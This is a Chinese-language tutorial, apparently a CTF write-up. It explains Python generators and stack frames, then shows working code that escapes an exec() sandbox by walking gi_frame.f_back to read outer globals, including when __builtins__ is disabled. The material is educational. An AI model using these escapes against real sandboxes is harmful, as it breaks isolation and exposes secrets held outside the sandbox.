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前言

以前在一些大型比赛就遇到这种题，一直没时间去研究，现在康复训练下:)

生成器介绍

生成器（Generator）是Python中一种特殊的迭代器，它可以在迭代过程中动态生成值，而不需要一次性将所有值存储在内存中。

Simple Demo

这里定义一个生成器函数， 生成器使用yield语句来产生值，每次调用生成器的next()方法时，生成器会执行直到遇到下一个yield语句为止，然后返回yield语句后面的值，也就是a的值

def f():
    a = 1
    while True:
        yield a
        a+=1
f = f()
print(next(f))  # 1
print(next(f))  # 2

也可以遍历获取所有的自增值

def f():
    a = 1
    for i in range(1, 100):
        yield a
        a+=1
f = f()
for value in f:
    print(value)

生成器表达式

生成器表达式是一种在 Python 中创建生成器的紧凑形式。类似于列表推导式，生成器表达式允许你使用简洁的语法来定义生成器，而不必显式地编写一个函数。生成器表达式的语法与列表推导式类似，但是使用圆括号而不是方括号。生成器表达式会逐个生成值，而不是一次性生成整个序列。这有利于提高内存的利用率

f = (i+1 for i in range(100))
# 可以用next一步步获取值
print(next(f))
# 也可以遍历的形式获取全部值
for value in f:
    print(value)

生成器属性

gi_code: 生成器对应的code对象。
gi_frame: 生成器对应的frame（栈帧）对象。
gi_running: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态，此时这个属性的值为0。
gi_yieldfrom：如果生成器正在从另一个生成器中 yield 值，则为该生成器对象的引用；否则为 None。
gi_frame.f_locals：一个字典，包含生成器当前帧的本地变量。

gi_frame使用

gi_frame 是一个与生成器（generator）和协程（coroutine）相关的属性。它指向生成器或协程当前执行的帧对象（frame object），如果这个生成器或协程正在执行的话。帧对象表示代码执行的当前上下文，包含了局部变量、执行的字节码指令等信息。

def my_generator():
    yield 1
    yield 2
    yield 3

gen = my_generator()

# 获取生成器的当前帧信息
frame = gen.gi_frame

# 输出生成器的当前帧信息
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)

以上例子展示了如何获取生成器的帧信息

栈帧(frame)介绍

在 Python 中，栈帧（stack frame），也称为帧（frame），是用于执行代码的数据结构。每当 Python 解释器执行一个函数或方法时，都会创建一个新的栈帧，用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。这些栈帧会按照调用顺序被组织成一个栈，称为调用栈。（跟c/c++中的栈类似，懂点逆向知识应该很好理解）

栈帧包含了以下几个重要的属性：
f_locals: 一个字典，包含了函数或方法的局部变量。键是变量名。
f_globals: 一个字典，包含了函数或方法所在模块的全局变量。
f_code: 一个代码对象（code object），包含了函数或方法的字节码指令、常量、变量名等信息。
f_lasti: 整数，表示最后执行的字节码指令的索引。
f_back: 指向上一级调用栈帧的引用，用于构建调用栈。

利用栈帧(frame)逃逸沙箱

原理就是通过生成器的栈帧对象通过f_back（返回前一帧）从而逃逸出去获取globals符号表，例如：

key = "this is flag"
codes='''
def waff():
    def f():
        yield g.gi_frame.f_back
    g = f()  #生成器
    frame = next(g) #获取到生成器的栈帧对象
    b = frame.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals
    return b
b=waff()
'''
locals={}
code = compile(codes, "", "exec")
exec(code, locals, None)
print(locals["b"])  # this is flag

逃逸出来我们就可以调用沙箱外的方法来执行恶意命令了

globals中的__builtins__字段

__builtins__ 模块是 Python 解释器启动时自动加载的，其中包含了一系列内置函数、异常和其他内置对象。

当代码这么设计时：

key = "this is flag"
codes='''
def waff():
    def f():
        yield g.gi_frame.f_back
    g = f()  #生成器
    frame = next(g) #获取到生成器的栈帧对象
    b = frame.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals
    return b
b=waff()
'''
locals={"__builtins__": None}
code = compile(codes, "", "exec")
exec(code, locals, None)
print(locals["b"])

这里将沙箱中的__builtins__置为空，也就是说沙箱中不能调用内置方法了，那我们这段代码运行就会报错了(next方法不能使用)，那么该如何代替next方法来拿到生成器的值，还记得上面说可以遍历的形式来获取生成器的值：

key = "this is flag"
codes='''
def waff():
    def f():
        yield g.gi_frame.f_back
    g = f()  #生成器
    frame = [i for i in g][0] #获取到生成器的栈帧对象
    b = frame.f_back.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals
    return b
b=waff()
'''
locals={"__builtins__": None}
code = compile(codes, "", "exec")
exec(code, locals, None)
print(locals["b"])

这样可以成功拿到key的值，不过这里需要注意的是在给b赋值时，多加了一个f_back，因为我们用这种列表推导式拿到生成器的值，它的code对象是不同的：

frame = next(g)
<frame at 0x00000235C9718440, file '', line 7, code waff>

frame = [i for i in g][0]
<frame at 0x000002708F2ED8C0, file '', line 9, code <listcomp>>

列表推到式拿到的生成器的code对象是listcomp，所以我们还得拿上一个栈帧，所以需要再f_back一下

一些简便写法

例如：

q = (q.gi_frame.f_back.f_back.f_globals for _ in [1])
g = [*q][0]

• 第一行生成器创建时，并不会直接执行，只是存储在内存中。
• 第二行对生成器解包，解包的同时会触发生成器调用，此时才开始执行q.gi_frame.f_back.f_back.f_globals。
• exec调用时，创建一个新栈帧；生成器q被执行时，又创建一个新栈帧。所以当我们拿到q.gi_frame时，需要回溯两次才到达exec之外。
• 再拿一个f_globals，就得到了沙箱外的的globals

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